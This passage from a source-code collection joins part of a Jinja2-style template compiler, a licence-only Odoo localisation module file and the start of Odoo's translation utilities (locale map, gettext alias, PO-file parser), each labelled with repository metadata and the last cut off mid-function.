0: self.writeline('if parent_template is None:') self.indent() level += 1 context = node.scoped and 'context.derived(locals())' or 'context' self.writeline('for event in context.blocks[%r][0](%s):' % ( node.name, context), node) self.indent() self.simple_write('event', frame) self.outdent(level) def visit_Extends(self, node, frame): """Calls the extender.""" if not frame.toplevel: self.fail('cannot use extend from a non top-level scope', node.lineno) # if the number of extends statements in general is zero so # far, we don't have to add a check if something extended # the template before this one. if self.extends_so_far > 0: # if we have a known extends we just add a template runtime # error into the generated code. We could catch that at compile # time too, but i welcome it not to confuse users by throwing the # same error at different times just "because we can". if not self.has_known_extends: self.writeline('if parent_template is not None:') self.indent() self.writeline('raise TemplateRuntimeError(%r)' % 'extended multiple times') self.outdent() # if we have a known extends already we don't need that code here # as we know that the template execution will end here. if self.has_known_extends: raise CompilerExit() self.writeline('parent_template = environment.get_template(', node) self.visit(node.template, frame) self.write(', %r)' % self.name) self.writeline('for name, parent_block in parent_template.' 'blocks.%s():' % dict_item_iter) self.indent() self.writeline('context.blocks.setdefault(name, []).' 'append(parent_block)') self.outdent() # if this extends statement was in the root level we can take # advantage of that information and simplify the generated code # in the top level from this point onwards if frame.rootlevel: self.has_known_extends = True # and now we have one more self.extends_so_far += 1 def visit_Include(self, node, frame): """Handles includes.""" if node.with_context: self.unoptimize_scope(frame) if node.ignore_missing: self.writeline('try:') self.indent() func_name = 'get_or_select_template' if isinstance(node.template, nodes.Const): if isinstance(node.template.value, basestring): func_name = 'get_template' elif isinstance(node.template.value, (tuple, list)): func_name = 'select_template' elif isinstance(node.template, (nodes.Tuple, nodes.List)): func_name = 'select_template' self.writeline('template = environment.%s(' % func_name, node) self.visit(node.template, frame) self.write(', %r)' % self.name) if node.ignore_missing: self.outdent() self.writeline('except TemplateNotFound:') self.indent() self.writeline('pass') self.outdent() self.writeline('else:') self.indent() if node.with_context: self.writeline('for event in template.root_render_func(' 'template.new_context(context.parent, True, ' 'locals())):') else: self.writeline('for event in template.module._body_stream:') self.indent() self.simple_write('event', frame) self.outdent() if node.ignore_missing: self.outdent() def visit_Import(self, node, frame): """Visit regular imports.""" if node.with_context: self.unoptimize_scope(frame) self.writeline('l_%s = ' % node.target, node) if frame.toplevel: self.write('context.vars[%r] = ' % node.target) self.write('environment.get_template(') self.visit(node.template, frame) self.write(', %r).' % self.name) if node.with_context: self.write('make_module(context.parent, True, locals())') else: self.write('module') if frame.toplevel and not node.target.startswith('_'): self.writeline('context.exported_vars.discard(%r)' % node.target) frame.assigned_names.add(node.target) def visit_FromImport(self, node, frame): """Visit named imports.""" self.newline(node) self.write('included_template = environment.get_template(') self.visit(node.template, frame) self.write(', %r).' % self.name) if node.with_context: self.write('make_module(context.parent, True)') else: self.write('module') var_names = [] discarded_names = [] for name in node.names: if isinstance(name, tuple): name, alias = name else: alias = name self.writeline('l_%s = getattr(included_template, ' '%r, missing)' % (alias, name)) self.writeline('if l_%s is missing:' % alias) self.indent() self.writeline('l_%s = environment.undefined(%r %% ' 'included_template.__name__, ' 'name=%r)' % (alias, 'the template %%r (imported on %s) does ' 'not export the requested name %s' % ( self.position(node), repr(name) ), name)) self.outdent() if frame.toplevel: var_names.append(alias) if not alias.startswith('_'): discarded_names.append(alias) frame.assigned_names.add(alias) if var_names: if len(var_names) == 1: name = var_names[0] self.writeline('context.vars[%r] = l_%s' % (name, name)) else: self.writeline('context.vars.update({%s})' % ', '.join( '%r: l_%s' % (name, name) for name in var_names )) if discarded_names: if len(discarded_names) == 1: self.writeline('context.exported_vars.discard(%r)' % discarded_names[0]) else: self.writeline('context.exported_vars.difference_' 'update((%s))' % ', '.join(map(repr, discarded_names))) def visit_For(self, node, frame): # when calculating the nodes for the inner frame we have to exclude # the iterator contents from it children = node.iter_child_nodes(exclude=('iter',)) if node.recursive: loop_frame = self.function_scoping(node, frame, children, find_special=False) else: loop_frame = frame.inner() loop_frame.inspect(children) # try to figure out if we have an extended loop. An extended loop # is necessary if the loop is in recursive mode if the special loop # variable is accessed in the body. extended_loop = node.recursive or 'loop' in \ find_undeclared(node.iter_child_nodes( only=('body',)), ('loop',)) # if we don't have an recursive loop we have to find the shadowed # variables at that point. Because loops can be nested but the loop # variable is a special one we have to enforce aliasing for it. if not node.recursive: aliases = self.push_scope(loop_frame, ('loop',)) # otherwise we set up a buffer and add a function def else: self.writeline('def loop(reciter, loop_render_func):', node) self.indent() self.buffer(loop_frame) aliases = {} # make sure the loop variable is a special one and raise a template # assertion error if a loop tries to write to loop if extended_loop: loop_frame.identifiers.add_special('loop') for name in node.find_all(nodes.Name): if name.ctx == 'store' and name.name == 'loop': self.fail('Can\'t assign to special loop variable ' 'in for-loop target', name.lineno) self.pull_locals(loop_frame) if node.else_: iteration_indicator = self.temporary_identifier() self.writeline('%s = 1' % iteration_indicator) # Create a fake parent loop if the else or test section of a # loop is accessing the special loop variable and no parent loop # exists. if 'loop' not in aliases and 'loop' in find_undeclared( node.iter_child_nodes(only=('else_', 'test')), ('loop',)): self.writeline("l_loop = environment.undefined(%r, name='loop')" % ("'loop' is undefined. the filter section of a loop as well " "as the else block don't have access to the special 'loop'" " variable of the current loop. Because there is no parent " "loop it's undefined. Happened in loop on %s" % self.position(node))) self.writeline('for ', node) self.visit(node.target, loop_frame) self.write(extended_loop and ', l_loop in LoopContext(' or ' in ') # if we have an extened loop and a node test, we filter in the # "outer frame". if extended_loop and node.test is not None: self.write('(') self.visit(node.target, loop_frame) self.write(' for ') self.visit(node.target, loop_frame) self.write(' in ') if node.recursive: self.write('reciter') else: self.visit(node.iter, loop_frame) self.write(' if (') test_frame = loop_frame.copy() self.visit(node.test, test_frame) self.write('))') elif node.recursive: self.write('reciter') else: self.visit(node.iter, loop_frame) if node.recursive: self.write(', recurse=loop_render_func):') else: self.write(extended_loop and '):' or ':') # tests in not extended loops become a continue if not extended_loop and node.test is not None: self.indent() self.writeline('if not ') self.visit(node.test, loop_frame) self.write(':') self.indent() self.writeline('continue') self.outdent(2) self.indent() self.blockvisit(node.body, loop_frame) if node.else_: self.writeline('%s = 0' % iteration_indicator) self.outdent() if node.else_: self.writeline('if %s:' % iteration_indicator) self.indent() self.blockvisit(node.else_, loop_frame) self.outdent() # reset the aliases if there are any. if not node.recursive: self.pop_scope(aliases, loop_frame) # if the node was recursive we have to return the buffer contents # and start the iteration code if node.recursive: self.return_buffer_contents(loop_frame) self.outdent() self.start_write(frame, node) self.write('loop(') self.visit(node.iter, frame) self.write(', loop)') self.end_write(frame) def visit_If(self, node, frame): if_frame = frame.soft() self.writeline('if ', node) self.visit(node.test, if_frame) self.write(':') self.indent() self.blockvisit(node.body, if_frame) self.outdent() if node.else_: self.writeline('else:') self.indent() self.blockvisit(node.else_, if_frame) self.outdent() def visit_Macro(self, node, frame): macro_frame = self.macro_body(node, frame) self.newline() if frame.toplevel: if not node.name.startswith('_'): self.write('context.exported_vars.add(%r)' % node.name) self.writeline('context.vars[%r] = ' % node.name) self.write('l_%s = ' % node.name) self.macro_def(node, macro_frame) frame.assigned_names.add(node.name) def visit_CallBlock(self, node, frame): children = node.iter_child_nodes(exclude=('call',)) call_frame = self.macro_body(node, frame, children) self.writeline('caller = ') self.macro_def(node, call_frame) self.start_write(frame, node) self.visit_Call(node.call, call_frame, forward_caller=True) self.end_write(frame) def visit_FilterBlock(self, node, frame): filter_frame = frame.inner() filter_frame.inspect(node.iter_child_nodes()) aliases = self.push_scope(filter_frame) self.pull_locals(filter_frame) self.buffer(filter_frame) self.blockvisit(node.body, filter_frame) self.start_write(frame, node) self.visit_Filter(node.filter, filter_frame) self.end_write(frame) self.pop_scope(aliases, filter_frame) def visit_ExprStmt(self, node, frame): self.newline(node) self.visit(node.node, frame) def visit_Output(self, node, frame): # if we have a known extends statement, we don't output anything # if we are in a require_output_check section if self.has_known_extends and frame.require_output_check: return if self.environment.finalize: finalize = lambda x: unicode(self.environment.finalize(x)) else: finalize = unicode # if we are inside a frame that requires output checking, we do so outdent_later = False if frame.require_output_check: self.writeline('if parent_template is None:') self.indent() outdent_later = True # try to evaluate as many chunks as possible into a static # string at compile time. body = [] for child in node.nodes: try: const = child.as_const(frame.eval_ctx) except nodes.Impossible: body.append(child) continue # the frame can't be volatile here, becaus otherwise the # as_const() function would raise an Impossible exception # at that point. try: if frame.eval_ctx.autoescape: if hasattr(const, '__html__'): const = const.__html__() else: const = escape(const) const = finalize(const) except Exception: # if something goes wrong here we evaluate the node # at runtime for easier debugging body.append(child) continue if body and isinstance(body[-1], list): body[-1].append(const) else: body.append([const]) # if we have less than 3 nodes or a buffer we yield or extend/append if len(body) < 3 or frame.buffer is not None: if frame.buffer is not None: # for one item we append, for more we extend if len(body) == 1: self.writeline('%s.append(' % frame.buffer) else: self.writeline('%s.extend((' % frame.buffer) self.indent() for item in body: if isinstance(item, list): val = repr(concat(item)) if frame.buffer is None: self.writeline('yield ' + val) else: self.writeline(val + ', ') else: if frame.buffer is None: self.writeline('yield ', item) else: self.newline(item) close = 1 if frame.eval_ctx.volatile: self.write('(context.eval_ctx.autoescape and' ' escape or to_string)(') elif frame.eval_ctx.autoescape: self.write('escape(') else: self.write('to_string(') if self.environment.finalize is not None: self.write('environment.finalize(') close += 1 self.visit(item, frame) self.write(')' * close) if frame.buffer is not None: self.write(', ') if frame.buffer is not None: # close the open parentheses self.outdent() self.writeline(len(body) == 1 and ')' or '))') # otherwise we create a format string as this is faster in that case else: format = [] arguments = [] for item in body: if isinstance(item, list): format.append(concat(item).replace('%', '%%')) else: format.append('%s') arguments.append(item) self.writeline('yield ') self.write(repr(concat(format)) + ' % (') idx = -1 self.indent() for argument in arguments: self.newline(argument) close = 0 if frame.eval_ctx.volatile: self.write('(context.eval_ctx.autoescape and' ' escape or to_string)(') close += 1 elif frame.eval_ctx.autoescape: self.write('escape(') close += 1 if self.environment.finalize is not None: self.write('environment.finalize(') close += 1 self.visit(argument, frame) self.write(')' * close + ', ') self.outdent() self.writeline(')') if outdent_later: self.outdent() def visit_Assign(self, node, frame): self.newline(node) # toplevel assignments however go into the local namespace and # the current template's context. We create a copy of the frame # here and add a set so that the Name visitor can add the assigned # names here. if frame.toplevel: assignment_frame = frame.copy() assignment_frame.toplevel_assignments = set() else: assignment_frame = frame self.visit(node.target, assignment_frame) self.write(' = ') self.visit(node.node, frame) # make sure toplevel assignments are added to the context. if frame.toplevel: public_names = [x for x in assignment_frame.toplevel_assignments if not x.startswith('_')] if len(assignment_frame.toplevel_assignments) == 1: name = next(iter(assignment_frame.toplevel_assignments)) self.writeline('context.vars[%r] = l_%s' % (name, name)) else: self.writeline('context.vars.update({') for idx, name in enumerate(assignment_frame.toplevel_assignments): if idx: self.write(', ') self.write('%r: l_%s' % (name, name)) self.write('})') if public_names: if len(public_names) == 1: self.writeline('context.exported_vars.add(%r)' % public_names[0]) else: self.writeline('context.exported_vars.update((%s))' % ', '.join(map(repr, public_names))) # -- Expression Visitors def visit_Name(self, node, frame): if node.ctx == 'store' and frame.toplevel: frame.toplevel_assignments.add(node.name) self.write('l_' + node.name) frame.assigned_names.add(node.name) def visit_Const(self, node, frame): val = node.value if isinstance(val, float): self.write(str(val)) else: self.write(repr(val)) def visit_TemplateData(self, node, frame): try: self.write(repr(node.as_const(frame.eval_ctx))) except nodes.Impossible: self.write('(context.eval_ctx.autoescape and Markup or identity)(%r)' % node.data) def visit_Tuple(self, node, frame): self.write('(') idx = -1 for idx, item in enumerate(node.items): if idx: self.write(', ') self.visit(item, frame) self.write(idx == 0 and ',)' or ')') def visit_List(self, node, frame): self.write('[') for idx, item in enumerate(node.items): if idx: self.write(', ') self.visit(item, frame) self.write(']') def visit_Dict(self, node, frame): self.write('{') for idx, item in enumerate(node.items): if idx: self.write(', ') self.visit(item.key, frame) self.write(': ') self.visit(item.value, frame) self.write('}') def binop(operator, interceptable=True): def visitor(self, node, frame): if self.environment.sandboxed and \ operator in self.environment.intercepted_binops: self.write('environment.call_binop(context, %r, ' % operator) self.visit(node.left, frame) self.write(', ') self.visit(node.right, frame) else: self.write('(') self.visit(node.left, frame) self.write(' %s ' % operator) self.visit(node.right, frame) self.write(')') return visitor def uaop(operator, interceptable=True): def visitor(self, node, frame): if self.environment.sandboxed and \ operator in self.environment.intercepted_unops: self.write('environment.call_unop(context, %r, ' % operator) self.visit(node.node, frame) else: self.write('(' + operator) self.visit(node.node, frame) self.write(')') return visitor visit_Add = binop('+') visit_Sub = binop('-') visit_Mul = binop('*') visit_Div = binop('/') visit_FloorDiv = binop('//') visit_Pow = binop('**') visit_Mod = binop('%') visit_And = binop('and', interceptable=False) visit_Or = binop('or', interceptable=False) visit_Pos = uaop('+') visit_Neg = uaop('-') visit_Not = uaop('not ', interceptable=False) del binop, uaop def visit_Concat(self, node, frame): if frame.eval_ctx.volatile: func_name = '(context.eval_ctx.volatile and' \ ' markup_join or unicode_join)' elif frame.eval_ctx.autoescape: func_name = 'markup_join' else: func_name = 'unicode_join' self.write('%s((' % func_name) for arg in node.nodes: self.visit(arg, frame) self.write(', ') self.write('))') def visit_Compare(self, node, frame): self.visit(node.expr, frame) for op in node.ops: self.visit(op, frame) def visit_Operand(self, node, frame): self.write(' %s ' % operators[node.op]) self.visit(node.expr, frame) def visit_Getattr(self, node, frame): self.write('environment.getattr(') self.visit(node.node, frame) self.write(', %r)' % node.attr) def visit_Getitem(self, node, frame): # slices bypass the environment getitem method. if isinstance(node.arg, nodes.Slice): self.visit(node.node, frame) self.write('[') self.visit(node.arg, frame) self.write(']') else: self.write('environment.getitem(') self.visit(node.node, frame) self.write(', ') self.visit(node.arg, frame) self.write(')') def visit_Slice(self, node, frame): if node.start is not None: self.visit(node.start, frame) self.write(':') if node.stop is not None: self.visit(node.stop, frame) if node.step is not None: self.write(':') self.visit(node.step, frame) def visit_Filter(self, node, frame): self.write(self.filters[node.name] + '(') func = self.environment.filters.get(node.name) if func is None: self.fail('no filter named %r' % node.name, node.lineno) if getattr(func, 'contextfilter', False): self.write('context, ') elif getattr(func, 'evalcontextfilter', False): self.write('context.eval_ctx, ') elif getattr(func, 'environmentfilter', False): self.write('environment, ') # if the filter node is None we are inside a filter block # and want to write to the current buffer if node.node is not None: self.visit(node.node, frame) elif frame.eval_ctx.volatile: self.write('(context.eval_ctx.autoescape and' ' Markup(concat(%s)) or concat(%s))' % (frame.buffer, frame.buffer)) elif frame.eval_ctx.autoescape: self.write('Markup(concat(%s))' % frame.buffer) else: self.write('concat(%s)' % frame.buffer) self.signature(node, frame) self.write(')') def visit_Test(self, node, frame): self.write(self.tests[node.name] + '(') if node.name not in self.environment.tests: self.fail('no test named %r' % node.name, node.lineno) self.visit(node.node, frame) self.signature(node, frame) self.write(')') def visit_CondExpr(self, node, frame): def write_expr2(): if node.expr2 is not None: return self.visit(node.expr2, frame) self.write('environment.undefined(%r)' % ('the inline if-' 'expression on %s evaluated to false and ' 'no else section was defined.' % self.position(node))) if not have_condexpr: self.write('((') self.visit(node.test, frame) self.write(') and (') self.visit(node.expr1, frame) self.write(',) or (') write_expr2() self.write(',))[0]') else: self.write('(') self.visit(node.expr1, frame) self.write(' if ') self.visit(node.test, frame) self.write(' else ') write_expr2() self.write(')') def visit_Call(self, node, frame, forward_caller=False): if self.environment.sandboxed: self.write('environment.call(context, ') else: self.write('context.call(') self.visit(node.node, frame) extra_kwargs = forward_caller and {'caller': 'caller'} or None self.signature(node, frame, extra_kwargs) self.write(')') def visit_Keyword(self, node, frame): self.write(node.key + '=') self.visit(node.value, frame) # -- Unused nodes for extensions def visit_MarkSafe(self, node, frame): self.write('Markup(') self.visit(node.expr, frame) self.write(')') def visit_MarkSafeIfAutoescape(self, node, frame): self.write('(context.eval_ctx.autoescape and Markup or identity)(') self.visit(node.expr, frame) self.write(')') def visit_EnvironmentAttribute(self, node, frame): self.write('environment.' + node.name) def visit_ExtensionAttribute(self, node, frame): self.write('environment.extensions[%r].%s' % (node.identifier, node.name)) def visit_ImportedName(self, node, frame): self.write(self.import_aliases[node.importname]) def visit_InternalName(self, node, frame): self.write(node.name) def visit_ContextReference(self, node, frame): self.write('context') def visit_Continue(self, node, frame): self.writeline('continue', node) def visit_Break(self, node, frame): self.writeline('break', node) def visit_Scope(self, node, frame): scope_frame = frame.inner() scope_frame.inspect(node.iter_child_nodes()) aliases = self.push_scope(scope_frame) self.pull_locals(scope_frame) self.blockvisit(node.body, scope_frame) self.pop_scope(aliases, scope_frame) def visit_EvalContextModifier(self, node, frame): for keyword in node.options: self.writeline('context.eval_ctx.%s = ' % keyword.key) self.visit(keyword.value, frame) try: val = keyword.value.as_const(frame.eval_ctx) except nodes.Impossible: frame.eval_ctx.volatile = True else: setattr(frame.eval_ctx, keyword.key, val) def visit_ScopedEvalContextModifier(self, node, frame): old_ctx_name = self.temporary_identifier() safed_ctx = frame.eval_ctx.save() self.writeline('%s = context.eval_ctx.save()' % old_ctx_name) self.visit_EvalContextModifier(node, frame) for child in node.body: self.visit(child, frame) frame.eval_ctx.revert(safed_ctx) self.writeline('context.eval_ctx.revert(%s)' % old_ctx_name)
bsd-3-clause
0k/OpenUpgrade
addons/l10n_ar/__init__.py
2120
1456
# -*- encoding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (c) 2011 Cubic ERP - Teradata SAC. (http://cubicerp.com). # # WARNING: This program as such is intended to be used by professional # programmers who take the whole responsability of assessing all potential # consequences resulting from its eventual inadequacies and bugs # End users who are looking for a ready-to-use solution with commercial # garantees and support are strongly adviced to contract a Free Software # Service Company # # This program is Free Software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # ############################################################################## # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
Nick-OpusVL/odoo
openerp/tools/translate.py
62
44976
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import codecs import csv import fnmatch import inspect import locale import os import openerp.sql_db as sql_db import re import logging import tarfile import tempfile import threading from babel.messages import extract from collections import defaultdict from datetime import datetime from lxml import etree from os.path import join import config import misc from misc import SKIPPED_ELEMENT_TYPES import osutil import openerp from openerp import SUPERUSER_ID _logger = logging.getLogger(__name__) # used to notify web client that these translations should be loaded in the UI WEB_TRANSLATION_COMMENT = "openerp-web" SKIPPED_ELEMENTS = ('script', 'style') _LOCALE2WIN32 = { 'af_ZA': 'Afrikaans_South Africa', 'sq_AL': 'Albanian_Albania', 'ar_SA': 'Arabic_Saudi Arabia', 'eu_ES': 'Basque_Spain', 'be_BY': 'Belarusian_Belarus', 'bs_BA': 'Bosnian_Bosnia and Herzegovina', 'bg_BG': 'Bulgarian_Bulgaria', 'ca_ES': 'Catalan_Spain', 'hr_HR': 'Croatian_Croatia', 'zh_CN': 'Chinese_China', 'zh_TW': 'Chinese_Taiwan', 'cs_CZ': 'Czech_Czech Republic', 'da_DK': 'Danish_Denmark', 'nl_NL': 'Dutch_Netherlands', 'et_EE': 'Estonian_Estonia', 'fa_IR': 'Farsi_Iran', 'ph_PH': 'Filipino_Philippines', 'fi_FI': 'Finnish_Finland', 'fr_FR': 'French_France', 'fr_BE': 'French_France', 'fr_CH': 'French_France', 'fr_CA': 'French_France', 'ga': 'Scottish Gaelic', 'gl_ES': 'Galician_Spain', 'ka_GE': 'Georgian_Georgia', 'de_DE': 'German_Germany', 'el_GR': 'Greek_Greece', 'gu': 'Gujarati_India', 'he_IL': 'Hebrew_Israel', 'hi_IN': 'Hindi', 'hu': 'Hungarian_Hungary', 'is_IS': 'Icelandic_Iceland', 'id_ID': 'Indonesian_indonesia', 'it_IT': 'Italian_Italy', 'ja_JP': 'Japanese_Japan', 'kn_IN': 'Kannada', 'km_KH': 'Khmer', 'ko_KR': 'Korean_Korea', 'lo_LA': 'Lao_Laos', 'lt_LT': 'Lithuanian_Lithuania', 'lat': 'Latvian_Latvia', 'ml_IN': 'Malayalam_India', 'mi_NZ': 'Maori', 'mn': 'Cyrillic_Mongolian', 'no_NO': 'Norwegian_Norway', 'nn_NO': 'Norwegian-Nynorsk_Norway', 'pl': 'Polish_Poland', 'pt_PT': 'Portuguese_Portugal', 'pt_BR': 'Portuguese_Brazil', 'ro_RO': 'Romanian_Romania', 'ru_RU': 'Russian_Russia', 'sr_CS': 'Serbian (Cyrillic)_Serbia and Montenegro', 'sk_SK': 'Slovak_Slovakia', 'sl_SI': 'Slovenian_Slovenia', #should find more specific locales for spanish countries, #but better than nothing 'es_AR': 'Spanish_Spain', 'es_BO': 'Spanish_Spain', 'es_CL': 'Spanish_Spain', 'es_CO': 'Spanish_Spain', 'es_CR': 'Spanish_Spain', 'es_DO': 'Spanish_Spain', 'es_EC': 'Spanish_Spain', 'es_ES': 'Spanish_Spain', 'es_GT': 'Spanish_Spain', 'es_HN': 'Spanish_Spain', 'es_MX': 'Spanish_Spain', 'es_NI': 'Spanish_Spain', 'es_PA': 'Spanish_Spain', 'es_PE': 'Spanish_Spain', 'es_PR': 'Spanish_Spain', 'es_PY': 'Spanish_Spain', 'es_SV': 'Spanish_Spain', 'es_UY': 'Spanish_Spain', 'es_VE': 'Spanish_Spain', 'sv_SE': 'Swedish_Sweden', 'ta_IN': 'English_Australia', 'th_TH': 'Thai_Thailand', 'tr_TR': 'Turkish_Turkey', 'uk_UA': 'Ukrainian_Ukraine', 'vi_VN': 'Vietnamese_Viet Nam', 'tlh_TLH': 'Klingon', } # These are not all english small words, just those that could potentially be isolated within views ENGLISH_SMALL_WORDS = set("as at by do go if in me no of ok on or to up us we".split()) class UNIX_LINE_TERMINATOR(csv.excel): lineterminator = '\n' csv.register_dialect("UNIX", UNIX_LINE_TERMINATOR) # # Warning: better use self.pool.get('ir.translation')._get_source if you can # def translate(cr, name, source_type, lang, source=None): if source and name: cr.execute('select value from ir_translation where lang=%s and type=%s and name=%s and src=%s', (lang, source_type, str(name), source)) elif name: cr.execute('select value from ir_translation where lang=%s and type=%s and name=%s', (lang, source_type, str(name))) elif source: cr.execute('select value from ir_translation where lang=%s and type=%s and src=%s', (lang, source_type, source)) res_trans = cr.fetchone() res = res_trans and res_trans[0] or False return res class GettextAlias(object): def _get_db(self): # find current DB based on thread/worker db name (see netsvc) db_name = getattr(threading.currentThread(), 'dbname', None) if db_name: return sql_db.db_connect(db_name) def _get_cr(self, frame, allow_create=True): # try, in order: cr, cursor, self.env.cr, self.cr, # request.env.cr if 'cr' in frame.f_locals: return frame.f_locals['cr'], False if 'cursor' in frame.f_locals: return frame.f_locals['cursor'], False s = frame.f_locals.get('self') if hasattr(s, 'env'): return s.env.cr, False if hasattr(s, 'cr'): return s.cr, False try: from openerp.http import request return request.env.cr, False except RuntimeError: pass if allow_create: # create a new cursor db = self._get_db() if db is not None: return db.cursor(), True return None, False def _get_uid(self, frame): # try, in order: uid, user, self.env.uid if 'uid' in frame.f_locals: return frame.f_locals['uid'] if 'user' in frame.f_locals: return int(frame.f_locals['user']) # user may be a record s = frame.f_locals.get('self') return s.env.uid def _get_lang(self, frame): # try, in order: context.get('lang'), kwargs['context'].get('lang'), # self.env.lang, self.localcontext.get('lang'), request.env.lang lang = None if frame.f_locals.get('context'): lang = frame.f_locals['context'].get('lang') if not lang: kwargs = frame.f_locals.get('kwargs', {}) if kwargs.get('context'): lang = kwargs['context'].get('lang') if not lang: s = frame.f_locals.get('self') if hasattr(s, 'env'): lang = s.env.lang if not lang: if hasattr(s, 'localcontext'): lang = s.localcontext.get('lang') if not lang: try: from openerp.http import request lang = request.env.lang except RuntimeError: pass if not lang: # Last resort: attempt to guess the language of the user # Pitfall: some operations are performed in sudo mode, and we # don't know the originial uid, so the language may # be wrong when the admin language differs. pool = getattr(s, 'pool', None) (cr, dummy) = self._get_cr(frame, allow_create=False) uid = self._get_uid(frame) if pool and cr and uid: lang = pool['res.users'].context_get(cr, uid)['lang'] return lang def __call__(self, source): res = source cr = None is_new_cr = False try: frame = inspect.currentframe() if frame is None: return source frame = frame.f_back if not frame: return source lang = self._get_lang(frame) if lang: cr, is_new_cr = self._get_cr(frame) if cr: # Try to use ir.translation to benefit from global cache if possible registry = openerp.registry(cr.dbname) res = registry['ir.translation']._get_source(cr, SUPERUSER_ID, None, ('code','sql_constraint'), lang, source) else: _logger.debug('no context cursor detected, skipping translation for "%r"', source) else: _logger.debug('no translation language detected, skipping translation for "%r" ', source) except Exception: _logger.debug('translation went wrong for "%r", skipped', source) # if so, double-check the root/base translations filenames finally: if cr and is_new_cr: cr.close() return res _ = GettextAlias() def quote(s): """Returns quoted PO term string, with special PO characters escaped""" assert r"\n" not in s, "Translation terms may not include escaped newlines ('\\n'), please use only literal newlines! (in '%s')" % s return '"%s"' % s.replace('\\','\\\\') \ .replace('"','\\"') \ .replace('\n', '\\n"\n"') re_escaped_char = re.compile(r"(\\.)") re_escaped_replacements = {'n': '\n', } def _sub_replacement(match_obj): return re_escaped_replacements.get(match_obj.group(1)[1], match_obj.group(1)[1]) def unquote(str): """Returns unquoted PO term string, with special PO characters unescaped""" return re_escaped_char.sub(_sub_replacement, str[1:-1]) # class to handle po files class TinyPoFile(object): def __init__(self, buffer): self.buffer = buffer def warn(self, msg, *args): _logger.warning(msg, *args) def __iter__(self): self.buffer.seek(0) self.lines = self._get_lines() self.lines_count = len(self.lines) self.first = True self.extra_lines= [] return self def _get_lines(self): lines = self.buffer.readlines() # remove the BOM (Byte Order Mark): if len(lines): lines[0] = unicode(lines[0], 'utf8').lstrip(unicode( codecs.BOM_UTF8, "utf8")) lines.append('') # ensure that the file ends with at least an empty line return lines def cur_line(self): return self.lines_count - len(self.lines) def next(self): trans_type = name = res_id = source = trad = None if self.extra_lines: trans_type, name, res_id, source, trad, comments = self.extra_lines.pop(0) if not res_id: res_id = '0' else: comments = [] targets = [] line = None fuzzy = False while not line: if 0 == len(self.lines): raise StopIteration() line = self.lines.pop(0).strip() while line.startswith('#'): if line.startswith('#~ '): break if line.startswith('#.'): line = line[2:].strip() if not line.startswith('module:'): comments.append(line) elif line.startswith('#:'): # Process the `reference` comments. Each line can specify # multiple targets (e.g. model, view, code, selection, # ...). For each target, we will return an additional # entry. for lpart in line[2:].strip().split(' '): trans_info = lpart.strip().split(':',2) if trans_info and len(trans_info) == 2: # looks like the translation trans_type is missing, which is not # unexpected because it is not a GetText standard. Default: 'code' trans_info[:0] = ['code'] if trans_info and len(trans_info) == 3: # this is a ref line holding the destination info (model, field, record) targets.append(trans_info) elif line.startswith('#,') and (line[2:].strip() == 'fuzzy'): fuzzy = True line = self.lines.pop(0).strip() if not self.lines: raise StopIteration() while not line: # allow empty lines between comments and msgid line = self.lines.pop(0).strip() if line.startswith('#~ '): while line.startswith('#~ ') or not line.strip(): if 0 == len(self.lines): raise StopIteration() line = self.lines.pop(0) # This has been a deprecated entry, don't return anything return self.next() if not line.startswith('msgid'): raise Exception("malformed file: bad line: %s" % line) source = unquote(line[6:]) line = self.lines.pop(0).strip() if not source and self.first: self.first = False # if the source is "" and it's the first msgid, it's the special # msgstr with the informations about the traduction and the # traductor; we skip it self.extra_lines = [] while line: line = self.lines.pop(0).strip() return self.next() while not line.startswith('msgstr'): if not line: raise Exception('malformed file at %d'% self.cur_line()) source += unquote(line) line = self.lines.pop(0).strip() trad = unquote(line[7:]) line = self.lines.pop(0).strip() while line: trad += unquote(line) line = self.lines.pop(0).strip() if targets and not fuzzy: # Use the first target for the current entry (returned at the # end of this next() call), and keep the others to generate # additional entries (returned the next next() calls). trans_type, name, res_id = targets.pop(0) for t, n, r in targets: if t == trans_type == 'code': continue self.extra_lines.append((t, n, r, source, trad, comments)) if name is None: if not fuzzy: self.warn('Missing "#:" formated comment at line %d for the following source:\n\t%s', self.cur_line(), source[:30]) return self.next() return trans_type, name, res_id, source, trad, '\n'.join(comments) def write_infos(self, modules): import openerp.release as release self.buffer.write("# Translation of %(project)s.\n" \ "# This file contains the translation of the following modules:\n" \ "%(modules)s" \ "#\n" \ "msgid \"\"\n" \ "msgstr \"\"\n" \ '''"Project-Id-Version: %(project)s %(version)s\\n"\n''' \ '''"Report-Msgid-Bugs-To: \\n"\n''' \ '''"POT-Creation-Date: %(now)s\\n"\n''' \ '''"PO-Revision-Date: %(now)s\\n"\n''' \ '''"Last-Translator: <>\\n"\n''' \ '''"Language-Team: \\n"\n''' \ '''"MIME-Version: 1.0\\n"\n''' \ '''"Content-Type: text/plain; charset=UTF-8\\n"\n''' \ '''"Content-Transfer-Encoding: \\n"\n''' \ '''"Plural-Forms: \\n"\n''' \ "\n" % { 'project': release.description, 'version': release.version, 'modules': reduce(lambda s, m: s + "#\t* %s\n" % m, modules, ""), 'now': datetime.utcnow().strftime('%Y-%m-%d %H:%M')+"+0000", } ) def write(self, modules, tnrs, source, trad, comments=None): plurial = len(modules) > 1 and 's' or '' self.buffer.write("#. module%s: %s\n" % (plurial, ', '.join(modules))) if comments: self.buffer.write(''.join(('#. %s\n' % c for c in comments))) code = False for typy, name, res_id in 